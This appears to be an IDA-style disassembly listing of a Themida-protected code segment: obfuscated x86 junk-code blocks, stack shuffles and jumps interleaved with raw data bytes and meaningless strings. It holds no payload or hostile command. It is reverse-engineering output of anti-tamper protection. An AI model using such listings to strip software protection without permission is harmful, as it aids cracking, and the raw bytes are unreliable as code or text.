; ---------------------------------------------------------------------------


loc_543826:				; CODE XREF: Themida_:00543BEDj
		and	edx, 8731385h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	edx, ebx
		pop	ebx
		shr	edx, 3
		jmp	loc_54A971
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 0E9000000h, 69F3h, 4C181h, 33E90000h, 5000085h, 4, 8704C083h
		dd 15C2404h, 241C8BDAh,	4C481h,	0A0E90000h, 10000EEh, 0FE19E9D8h
		dd 8340FFFFh, 0D8F701E8h, 2D02E8C1h, 208B3AC1h,	48BC689h
		dd 0AAE95524h, 8B000118h, 0C4832414h, 0F1C28104h, 0E90E14F2h
		dd 0FE4Eh, 4C483h, 51C92CD8h, 0C0DEB252h, 0E2C004EAh, 4EC8103h
		dd 89000000h, 13682404h, 89000008h, 0B6B1240Ch,	2AD7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5438C9:				; CODE XREF: Themida_:0054B13Cj
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		push	esi
		jmp	loc_54DDFD
; ---------------------------------------------------------------------------
		db 0BDh, 41h, 4
		dd 41BB7E18h, 0E97E1804h, 129A7h
; ---------------------------------------------------------------------------


loc_5438E8:				; CODE XREF: Themida_:0054F315j
		add	esp, 4
		push	esi
		mov	esi, 2D03542Dh
		add	esi, 0D2FCABD7h
		jmp	loc_5563B0
; ---------------------------------------------------------------------------
		db 81h
		dd 23CDEDC2h, 5AD3019Ah, 41E9D901h, 5F000080h, 0A0CE9h
		dd 408EBA00h, 0EA8114EDh, 87E7D42h, 0C348F281h,	0D0010C6Eh
		dd 4C0835Ah, 5C240487h,	9831E950h, 0E9550000h, 9D94h
; ---------------------------------------------------------------------------


loc_54393C:				; CODE XREF: Themida_:005559D5j
		pop	eax
		xor	ch, 4Ah
		jmp	loc_55721B
; ---------------------------------------------------------------------------


loc_543945:				; CODE XREF: Themida_:0054643Ej
		push	ebx
		mov	ebx, 2B3C0Fh
		sub	edx, ebx
		pop	ebx
		add	esi, edx
		jmp	loc_54F7A3
; ---------------------------------------------------------------------------


loc_543955:				; CODE XREF: Themida_:00557763j
		pop	ebp
		jmp	loc_5529FE
; ---------------------------------------------------------------------------


loc_54395B:				; CODE XREF: Themida_:00553870j
		mov	[esp], edx
		jmp	loc_5485C1
; ---------------------------------------------------------------------------


loc_543963:				; CODE XREF: Themida_:0054EA88j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_54B13A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 240C8B00h, 4C481h, 6BE90000h, 0F7000045h, 0C1D2F7D2h
		dd 0D2F705EAh, 6C88E9h,	4EC8100h, 89000000h, 0E6E92414h
		dd 8B000127h, 34E9242Ch, 330000C0h, 248B2404h, 24D36624h
		dd 49E99C24h, 2DFFFFEDh, 6E9711DAh, 4A40A12Dh, 13282D7Ah
		dd 16052476h, 55C324Eh,	6A570260h, 4EC8152h, 89000000h
		dd 9768243Ch, 0FF224E56h, 815F2434h, 4C4h, 8EFC100h, 6ACAC781h
		dd 89502781h, 0E95550F8h, 101F8h, 0E2895259h, 4C281h, 0EA810000h
		dd 4, 1417E9h, 24348B00h, 5204C483h, 111A7E9h, 74FF5100h
		dd 1EE90424h, 810000D2h, 713BBDC6h, 33C6813Ch, 0E94B5E75h
		dd 22CFh, 5004C083h, 42474FFh, 24048F58h, 3324248Bh, 4312404h
		dd 0FF55E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543A5E:				; CODE XREF: Themida_:00552CF6j
		or	ebx, esi
		jmp	loc_54506D
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C9h
		dd 0E92A5650h, 1073Eh
; ---------------------------------------------------------------------------


loc_543A70:				; CODE XREF: Themida_:00547D8Ej
		pop	edx
		push	edx
		mov	edx, 6E4433FFh
		sub	edi, edx
		pop	edx
		add	edi, 75127CA5h
		jmp	loc_553E42
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0EBh
		dd 29000103h, 0FF555BDDh, 0E9042474h, 2B5Ah, 0CBFE68B3h
		dd 0E3C0C3FEh, 0A1EB8002h, 665BD900h, 309BB652h, 805A66F1h
		dd 0CB2891E9h, 762E9h, 7E84B900h, 0B2684A71h, 8900003Fh
		dd 29BA2414h, 81213B1Dh, 0AF0B63EAh, 0C53E96Dh,	0F3810000h
		dd 3E6C66F9h, 3304F381h, 0C3817431h, 5C0D98DEh,	1C8BDE89h
		dd 0E99DE924h, 0ED810000h, 4145443Bh, 84A6E9h
		db 0
; ---------------------------------------------------------------------------


loc_543AFD:				; CODE XREF: Themida_:0054FC9Fj
		sub	al, 0A5h
		jmp	loc_549905
; ---------------------------------------------------------------------------
		dd 0BE565053h, 178846A6h, 72E9DEF7h, 5B000019h,	0D77CE952h
		dd 1C330000h, 241C3124h, 8B241C33h, 3D682424h, 89000074h
		dd 0E189240Ch, 39F3E956h, 4330001h, 24043124h, 108DFE9h
		dd 81DAF700h, 330AE5C2h, 5AD18973h, 801E9h
		db 0
; ---------------------------------------------------------------------------


loc_543B51:				; CODE XREF: Themida_:0054EE8Dj
		sub	edx, 49AB7D8Dh
		xor	edx, 56EC34EDh
		push	edi
		mov	edi, 20F31929h
		not	edi
		inc	edi
		push	ebx
		mov	ebx, 2CE67A65h
		add	edi, ebx
		pop	ebx
		jmp	loc_545E03
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0E904C183h, 0F24Ch, 4BA52h, 0D6010000h
		dd 0BE36E9h
		db 0
; ---------------------------------------------------------------------------


loc_543B91:				; CODE XREF: Themida_:0054513Ej
		add	ecx, ebx
		sub	ecx, 3A6A7B7Bh
		jmp	loc_54D369
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 5C64h, 71BF5755h, 8116262Ah, 262A75F7h
		dd 424DE916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543BBA:				; CODE XREF: Themida_:00553A54j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edx
		push	esi
		sub	dword ptr [esp], 5B653D55h
		jmp	loc_549139
; ---------------------------------------------------------------------------


loc_543BD2:				; CODE XREF: Themida_:0054F3B6j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	30E8h
		mov	[esp], eax
		push	edi
		mov	edi, 26A61942h
		push	edx
		mov	edx, 54B23445h
		jmp	loc_543826
; ---------------------------------------------------------------------------


loc_543BF2:				; CODE XREF: Themida_:0054D8D7j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ebx
		push	ecx
		mov	ecx, 64E325DAh
		jmp	loc_550CFB
; ---------------------------------------------------------------------------
		db 0BAh
		dd 5A5D363Ch, 4245431h,	45EBE95Ah, 8B660000h, 968240Ch
		dd 8900000Ch, 3AE9242Ch, 40000A6h, 0F6C8FE20h, 2CC0FED8h
		dd 0C0D0F65Ch, 0D8F604E8h, 0DCF0E9h, 4406BF00h,	0C1814475h
		dd 17C2B9Eh, 0E981F901h, 17C2B9Eh, 9FE1815Fh, 0E9003474h
		dd 125C3h
; ---------------------------------------------------------------------------


loc_543C5C:				; CODE XREF: Themida_:00542B2Bj
		mov	cx, [esp]
		add	esp, 2
		mov	cl, dh
		pop	edx
		jmp	loc_542725
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8324h, 81242C89h,	4ECh, 24248900h, 4240483h, 5D2434FFh
		dd 4C481h, 0C5810000h, 4, 10D39E9h, 240C8B00h, 104C483h
		dd 84C581D5h, 5070CA45h, 3D55D8B8h, 2E8C150h, 170AF335h
		dd 58C50119h, 5524148Bh, 0C5815D54h, 4,	4C581h,	0CDE90000h
		dd 0FF000122h, 68533C77h, 5D1977BBh, 245C015Bh,	17ABE904h
		dd 0E2C10001h, 0FF6EE905h, 0B8500000h, 7D70739Bh, 4244429h
		dd 3A18E9h, 63055B00h, 29104A16h, 94DE9D8h, 1C870001h
		dd 1C895C24h, 14B25224h, 119E1E9h, 7902BB00h, 0D8010C80h
		dd 2DD8015Bh, 0C807902h, 4C5E955h, 3C8B0001h, 4C48124h
		dd 8F000000h, 248B2404h, 0C8BE0F24h, 0F243E9h, 241C8B00h
		dd 81E68956h, 4C6h, 4C68300h, 4A32E9h
		db 0
; ---------------------------------------------------------------------------


loc_543D55:				; CODE XREF: Themida_:005468B6j
		mov	[esp], esp
		jmp	loc_54BE55
; ---------------------------------------------------------------------------
aVtP		db 'VT^P¸·',0
		dd 33251CA5h, 0F716D021h, 3366E9D8h, 0F8BE0001h, 0F71C5C27h
		dd 31F681DEh, 527B6C7Dh, 4B494EBAh, 0F5E2810Bh,	0F7791A25h
		dd 12AEE9D2h, 0E0890001h, 405h,	40500h,	4870000h, 24248B24h
		dd 0F701E9h, 0E3895300h, 3900BA52h, 81424E52h, 9227BDEAh
		dd 0C2814244h, 35B24DDAh, 1921E9h, 2EB8100h, 296C0B4Ch
		dd 2C381CBh, 0E96C0B4Ch, 25F0h,	8124348Bh, 4ECh, 24048900h
		dd 0F53EE9h
		db 0
; ---------------------------------------------------------------------------


loc_543DE9:				; CODE XREF: Themida_:00547A43j
		push	ebx
		mov	ebx, esi
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5537FA
; ---------------------------------------------------------------------------
		dd 3B4FF681h, 0F5892F64h, 8FF5815Eh, 4D33B032h,	11E3BE9h
		dd 52D3F600h, 0EE8034B6h, 0B6C68036h, 0E95AF328h, 11DAh
		dd 24048F66h, 1B176866h, 242C8966h, 24043166h, 109CEE9h
		dd 8BD80100h, 3BE9241Ch, 83000028h, 0C8B04C4h, 4C48324h
		dd 0D1E95066h, 5A00003Bh, 0D40EE9h
		db 0
; ---------------------------------------------------------------------------


loc_543E59:				; CODE XREF: Themida_:00545BC9j
		pop	esi
		or	eax, eax
		jmp	loc_54298E
; ---------------------------------------------------------------------------
		db 0BFh, 90h, 0Fh
		dd 0E7815FB9h, 653A25EEh, 3CF7814Fh, 816FDE20h,	62214FF7h
		dd 1102E955h, 11050000h, 2D16F77Ah, 3CB77081h, 6AB95159h
		dd 53D195Ah, 278857B8h,	0B82DC801h, 59278857h, 0DC11FF05h
		dd 2FC7052Eh, 0F8011F02h, 22FC72Dh, 0F1B9511Fh,	49794F12h
		dd 8103E9C1h, 0F5F3A1F1h, 0E9C82921h, 28D0h, 0DF09C62Dh
		dd 5808310Bh, 2F5E9h, 0E9F38900h, 0BC7Bh, 50242C89h, 75D6E9h
		dd 4EEC100h, 8107E6C1h,	28A634EEh, 5EF23193h, 3A3AE281h
		dd 0EAC14FBEh, 0FFEA8305h, 0E055BF57h, 0FA310024h, 108B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_543F09:				; CODE XREF: Themida_:0054BE7Bj
		neg	edx
		xor	edx, 0F911B33Ah
		add	ebp, edx
		pop	edx
		add	ebp, 51A01D72h
		sub	eax, ebp
		jmp	loc_555D59
; ---------------------------------------------------------------------------


loc_543F21:				; CODE XREF: Themida_:005482A6j
		pop	ebp
		jmp	loc_54A139
; ---------------------------------------------------------------------------
		db 5Ch
		dd 10060E9h, 0E9F70100h, 83F8h,	7D68AFB9h, 0F1FBE96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543F3E:				; CODE XREF: Themida_:005546F5j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	4F280DB9h
		jmp	loc_542F65
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 68653805h
		add	ebp, eax
		add	ebp, 68653805h
		mov	eax, [esp]
		jmp	loc_544ED3
; ---------------------------------------------------------------------------


loc_543F94:				; CODE XREF: Themida_:00553B77j
		add	ebp, 3A27458h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_551B07
; ---------------------------------------------------------------------------


loc_543FA3:				; CODE XREF: Themida_:00550291j
		sub	esi, ecx
		jmp	loc_555371
; ---------------------------------------------------------------------------


loc_543FAA:				; CODE XREF: Themida_:00549F79j
		pop	eax
		add	ecx, 2AD407ABh
		add	ecx, 6A941F07h
		not	ecx
		sub	ecx, 0C6020E9h
		push	ebx
		mov	ebx, 210612Ah
		xor	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		jmp	loc_54A77F
; ---------------------------------------------------------------------------
		db 81h
		dd 985F0AF5h, 6EDC175h,	135C68h, 24148900h, 631A38BAh
		dd 0C2814A0Bh, 19EA422Dh, 0E95AD521h, 0FF31h, 4C481h, 0C6810000h
		dd 2246FBAEh, 0DBE9F731h
		db 24h,	1, 0
; ---------------------------------------------------------------------------


loc_544007:				; CODE XREF: Themida_:0054D7E7j
		pop	ebx
		jmp	loc_557357
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 68240489h,	5B8Ch, 24048F54h, 4240481h, 0E9000000h
		dd 0A30Ch, 1F68E957h, 0C15F0000h, 38E907EFh, 5E000106h
		dd 4C481h, 0F7810000h, 49612C3h, 5D38E9h, 82E95B00h, 0E900005Fh
		dd 0FFFFE6B4h, 4068E689h, 8900005Ch, 2DE9242Ch,	290000E7h
		dd 0EA8158C2h, 593B4674h, 0BD8BE9h, 8BC78800h, 0C4832404h
		dd 0F9B25204h, 0EA80E2D0h, 60CA80FEh, 0E9CDB450h, 0FFFFECAEh
		dd 4240481h, 8B000000h,	89512414h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 47C5E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5440B2:				; CODE XREF: Themida_:0055464Ej
		mov	ebx, 7AE91E04h
		push	ebx
		pop	esi
		mov	ebx, [esp]
		jmp	loc_553428
; ---------------------------------------------------------------------------


loc_5440C1:				; CODE XREF: Themida_:00553412j
		pop	eax
		add	eax, 4
		jmp	loc_55398D
; ---------------------------------------------------------------------------
		dd 0E63AE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5440D2:				; CODE XREF: Themida_:005567D3j
		xor	eax, 6E2F3139h
		add	esi, eax
		pop	eax
		push	5CE3h
		jmp	loc_54A72D
; ---------------------------------------------------------------------------
aIHY		db '\‰,$h<Y',0
		dd 0A111E900h, 0F8010000h, 545D7E2Dh, 2434FF51h, 4C4815Fh
		dd 29000000h, 0B5BA52D8h, 2915FF2Dh, 24148BD0h,	58D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_544115:				; CODE XREF: Themida_:0054737Ej
		pop	ecx
		add	esp, 4
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 3253D17h, 1F8DBE56h,	0EEC100BAh, 14F75608h, 0E6C15E24h
		dd 0FDEE8108h, 81233418h, 0EE38FEC6h, 21C58123h, 0E900271Ch
		dd 7AB3h
; ---------------------------------------------------------------------------


loc_54414C:				; CODE XREF: Themida_:005428B7j
		shl	edx, 4
		xor	edx, 103F0E4Ah
		add	ecx, edx
		pop	edx
		pop	edi
		jmp	loc_54BE1F
; ---------------------------------------------------------------------------
		dw 8953h
		dd 5BDA89EBh, 81242C8Bh, 4C4h, 5AD78900h, 8BF8315Bh, 0C483243Ch
		dd 4EC8104h, 89000000h,	68552434h, 2E516BCFh, 81242C8Bh
		dd 4C4h, 77ED8100h, 534FE179h, 0BBh, 87EB2900h,	39E95BDDh
		dd 8100012Bh, 0ED6902F6h, 9384E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5441B2:				; CODE XREF: Themida_:00549ADBj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_548524
; ---------------------------------------------------------------------------
		dw 6859h
		dd 3D12h, 68240489h, 5F823730h,	0AA6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5441D9:				; CODE XREF: Themida_:0054602Dj
		xor	ebx, 798A4D23h
		sub	ebx, 1
		xor	ebx, 53FC3605h
		and	ebx, 7C917FECh
		xor	ebx, 31EB6DF3h
		jmp	loc_54333F
; ---------------------------------------------------------------------------


loc_5441FC:				; CODE XREF: Themida_:0054EDF9j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_552CB2
; ---------------------------------------------------------------------------


loc_54420A:				; CODE XREF: Themida_:0055323Cj
		neg	ebx
		push	esi
		jmp	loc_54C439
; ---------------------------------------------------------------------------


loc_544212:				; CODE XREF: Themida_:005500D2j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5540D8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 56592434h, 24348B54h, 8104C483h, 4C6h, 2619E900h, 0CF290000h
		dd 5C17E9h, 0FC33000h, 8B66C0B6h, 2A682414h, 8900007Dh
		dd 0E189240Ch, 4BD55h, 0E9810000h, 67E02B1Bh, 5FC1BB53h
		dd 22E95A39h, 87000090h, 895C2414h, 0BB532434h,	5EC70E47h
		dd 7918BE56h, 0F3015458h, 0BC3815Eh, 0E96951C2h, 0F9BBh
		dd 42474FFh, 24048F5Fh,	7341685Ch, 1C890000h, 100BB24h
		dd 0D8210000h, 81241C8Bh, 4ECh,	241C8900h, 4EC81h, 24890000h
		dd 29AFE924h, 51E90001h, 0F7FFFFE4h, 147DE9D8h,	0F5010000h
		dd 4EC835Eh, 51241489h,	0E361E9h
		db 0
; ---------------------------------------------------------------------------


loc_5442D1:				; CODE XREF: Themida_:0054A24Ej
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_545AC7
; ---------------------------------------------------------------------------
		dd 5C242C33h, 0E92424D3h, 0FFFFE424h, 5B66F820h, 5166012Ch
		dd 5166C588h, 12454F6h,	88535966h, 5BF888EFh, 0EFE95966h
		dd 5300010Fh, 2BE947B7h, 53000043h, 0FFE44DE9h,	59E950FFh
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------


loc_54431B:				; CODE XREF: Themida_:0054D8C9j
		pop	esp
		jmp	loc_54F45B
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 1Bh
		dd 81789B16h, 1135EC2h,	81C22947h, 1135EEAh, 0C2295847h
		dd 2139BE56h, 0F68124C5h, 5C5E3722h, 515EF201h,	7B2A63B9h
		dd 30D5E95Ch, 4C010000h, 0E9590424h, 0B3A8h, 8758C601h
		dd 248B2434h, 4EC8324h,	0BD242C89h, 469F3B70h, 4BB368h
		dd 241C8900h, 260C68h, 24048900h, 60C491B8h, 1F23E9B9h
		dd 4B90001h, 1000000h, 6B6859CAh, 89000030h, 72E9243Ch
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54439F:				; CODE XREF: Themida_:00549DCEj
		push	6C8Fh
		jmp	loc_54852C
; ---------------------------------------------------------------------------


loc_5443A9:				; CODE XREF: Themida_:00543462j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 64862109h
		add	ebp, 0D2E0E1A4h
		xor	ebp, 376702A9h
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_554D05
; ---------------------------------------------------------------------------
		db 1
		dd 0C3295DEBh, 8904EC83h, 90E92434h
		db 21h,	1, 0
; ---------------------------------------------------------------------------


loc_5443EB:				; CODE XREF: Themida_:005572DFj
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_54648A
; ---------------------------------------------------------------------------


loc_544407:				; CODE XREF: Themida_:00551C9Fj
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dd 3574C681h, 0F0091E39h, 8324348Bh, 85E904C4h,	2D000033h
		dd 53B9295Dh, 81240C8Bh, 4C4h, 1B8CE900h, 45050001h, 8B132C2Fh
		dd 0C481243Ch, 4, 0ADB69335h, 5DEA81D8h, 8162CA3Dh, 0B4569DC2h
aMBAvMbBskh	db 'M)ÂêV´MÂ]=ÊbéªH',0 ; DATA XREF: ___:off_43668Co
		align 4
		dd 72B0C381h, 0C3810544h, 509941AAh, 4CE9D301h,	810000B1h
		dd 4C4h, 1FE2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544482:				; CODE XREF: Themida_:00556AFDj
		push	esi
		mov	esi, 7DE64376h
		sub	esi, 5E664DB7h
		jmp	loc_55134F
; ---------------------------------------------------------------------------
aIrqsw		db '‰àQéWÐ',0
		dw 8100h
aSAazrGcssiu	db 'é¶aAzRºÐG–sé›î',0
		align 4


loc_5444AC:				; CODE XREF: Themida_:0054E072j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_547248
; ---------------------------------------------------------------------------


loc_5444B6:				; CODE XREF: Themida_:00543107j
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edi
		jmp	loc_547DBF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 261D685Ch, 34890000h, 0A20FE924h, 3C8B0000h
		dd 22C5E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5444E6:				; CODE XREF: Themida_:0054EEADj
		mov	[esp], ebp
		push	71CEh
		mov	[esp], ecx
		mov	ecx, 25536977h
		and	ecx, 64FD23D7h
		jmp	loc_542D68
; ---------------------------------------------------------------------------


loc_544501:				; CODE XREF: Themida_:005499E6j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_548BE1
; ---------------------------------------------------------------------------
		db 58h
		dd 11316E9h, 7878BB00h,	0F33161E3h, 5024348Bh, 4055854h
		dd 83000000h, 48704C0h,	0B8505C24h, 704122BAh, 0CE38B951h
		dd 662D3E7Bh, 11B2A23h,	236605C8h, 0C8B1B2Ah, 4C48124h
		dd 0E9000000h, 0F71Ch, 39E95455h, 1000087h, 76BC05F0h
		dd 0E95E495Eh, 0FFFFE744h, 815BDE01h, 0FA4BEFEFh, 81F70167h
		dd 0FA4BEFC7h, 0FE015E67h, 83243C8Bh, 0EEC104C4h, 4EC8302h
		dd 934FE9h, 3E0C100h, 0CC170D35h, 0EC2D401Bh, 214BD9EAh
		dd 402DE9C1h, 0EEC10000h, 0CDB9E902h, 0DD290000h, 64CDED81h
		dd 815B4FF8h, 2AE929C5h, 5DEF01D1h, 815FFD09h, 1C5h, 0F3CD8100h
		dd 83486769h, 48904ECh,	30E6B824h, 25402D5Bh, 1939105Ch
		dd 2FE9BD55h, 0E8094852h, 5C77255Dh, 8C352E09h,	29844663h
		dd 2434FFC5h, 4C48158h,	29000000h, 0CBE95DE8h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_544603:				; CODE XREF: Themida_:00547577j
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54B06A
; ---------------------------------------------------------------------------


loc_544611:				; CODE XREF: Themida_:005470C7j
		pop	ebx
		not	ebx
		shl	ebx, 4
		inc	ebx
		push	edx
		push	ebp
		jmp	loc_54829F
; ---------------------------------------------------------------------------


loc_54461F:				; CODE XREF: Themida_:005435D9j
		add	ebx, edi
		push	edx
		jmp	loc_5532DF
; ---------------------------------------------------------------------------
aPswz		db ']Péw§',0
		align 2


loc_54462E:				; CODE XREF: Themida_:00556748j
		pop	ecx
		mov	ecx, 0D94BABC2h
		sub	ecx, 4801509Ch
		add	ecx, esi
		add	ecx, 4801509Ch
		jmp	loc_550505
; ---------------------------------------------------------------------------


loc_544647:				; CODE XREF: Themida_:0054FCACj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_551E60
; ---------------------------------------------------------------------------


loc_544655:				; CODE XREF: Themida_:00554191j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_548EE6
; ---------------------------------------------------------------------------
		dw 0F008h
		dd 92045A66h, 783DE9h
		db 0
; ---------------------------------------------------------------------------


loc_544681:				; CODE XREF: Themida_:00556512j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		jmp	loc_54EFFA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54D8CE
; ---------------------------------------------------------------------------


loc_5446AD:				; CODE XREF: Themida_:00552AEDj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5802h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	245119FBh
		pop	ebp
		jmp	loc_55717D
; ---------------------------------------------------------------------------
aQSsr		db 9,'ß[Áï',7,'Séà!',0
		dw 8300h
		dd 8F5404ECh, 4832404h,	148B0424h, 4C48324h, 4C281h, 0C2830000h
		dd 24148704h, 2C6815Ch,	33000000h, 34312434h, 24343324h
		dd 6624248Bh, 0E99CC83Bh, 0FFFFDFF8h
; ---------------------------------------------------------------------------


loc_544714:				; CODE XREF: Themida_:005476B9j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_549D0C
; ---------------------------------------------------------------------------


loc_544722:				; CODE XREF: Themida_:00557143j
		mov	cl, 0EDh
		jmp	loc_556ECF
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0D7h
		dd 2110A62Ah, 0DDE95DEAh
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_544737:				; CODE XREF: Themida_:00549A37j
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		sub	eax, 6B3C7FEFh
		add	eax, edi
		add	eax, 6B3C7FEFh
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5492D0
; ---------------------------------------------------------------------------
		dd 0C3236C05h, 7A0C2D0Dh, 0BA523D59h, 7BA76312h, 525AD029h
		dd 0B6B0E9h, 0D8F75A00h, 68726856h, 0C890000h, 514AE924h
		dd 148B0000h, 4C48124h,	0E9000000h, 0AD56h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 24895C24h, 24048324h, 24048F04h
		dd 4240483h, 0E189515Ah, 4C181h, 97E90000h, 5D0000C7h
		dd 0B9B95159h, 5708C26Eh, 7C0AC6BFh, 0B8FEE901h, 0C4830000h
		dd 0FF0CE904h, 0BB530000h, 34BE26D3h, 0D15BD931h, 58E981E1h
		dd 89A40665h, 0BB6E9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544806:				; CODE XREF: Themida_:00548750j
		sub	di, 25EDh
		jmp	loc_5485B5
; ---------------------------------------------------------------------------


loc_544810:				; CODE XREF: Themida_:00547DE4j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55122F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2C08300h, 31240433h, 4332404h,	2501E924h, 8B660001h
		dd 0A7682404h, 89000031h, 0E0892404h, 1032AE9h
		db 0
; ---------------------------------------------------------------------------


loc_544855:				; CODE XREF: Themida_:0054B2EAj
		push	esi
		mov	esi, 3DAC5553h
		dec	esi
		jmp	loc_555079
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 36h
		dd 163537Eh, 36ED81FDh,	8163537Eh, 997FC6C5h, 0E9535F4Ch
		dd 11DBAh
; ---------------------------------------------------------------------------


loc_54487C:				; CODE XREF: Themida_:loc_54C945j
					; Themida_:00550C41j ...
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5550AA
; ---------------------------------------------------------------------------


loc_544887:				; CODE XREF: Themida_:00547B32j
		sub	ah, 0FFh
		push	ebx
		mov	bh, 4Ah
		or	bh, 0D2h
		shl	bh, 3
		jmp	loc_545592
; ---------------------------------------------------------------------------
		dd 0E9F18951h, 0FA4Fh, 0E1C0D1F6h, 0FE95008h, 58000064h
		dd 0FFEDEB81h, 0D829E3C4h, 0FFF440E9h, 243C31FFh, 5C243C33h
		dd 0E9240C89h, 0A8B6h, 5EA5BF66h, 83C78166h, 0F82966DCh
		dd 2434FF5Fh, 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 6604C483h, 2246C81h,	81660B0Bh, 5F02246Ch, 44016631h
		dd 81660224h, 5F022444h, 66526631h, 660B0BBAh, 4245401h
		dd 58665A66h, 202CE9h, 24148900h, 665051B6h, 5240B551h
		dd 0DCE9EE88h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54492F:				; CODE XREF: Themida_:0054D2CAj
		not	dl
		jmp	loc_54D1FE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2474FF52h, 48F5A04h, 24248B24h, 9C2424D2h, 0FFF965E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_544951:				; CODE XREF: Themida_:00547208j
		xor	edi, 526A8D76h
		sub	ecx, 6A435E35h
		add	ecx, edi
		add	ecx, 6A435E35h
		pop	edi
		jmp	loc_553B93
; ---------------------------------------------------------------------------
aSrn		db '[éàn',0
		dd 0B60F6600h, 0C5686602h, 4896662h, 0DD8AE924h, 1489FFFFh
		dd 548E924h, 0EF810001h, 641FFFFEh, 0E2E9FB01h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544997:				; CODE XREF: Themida_:00544BF4j
		push	esi
		jmp	loc_551AB2
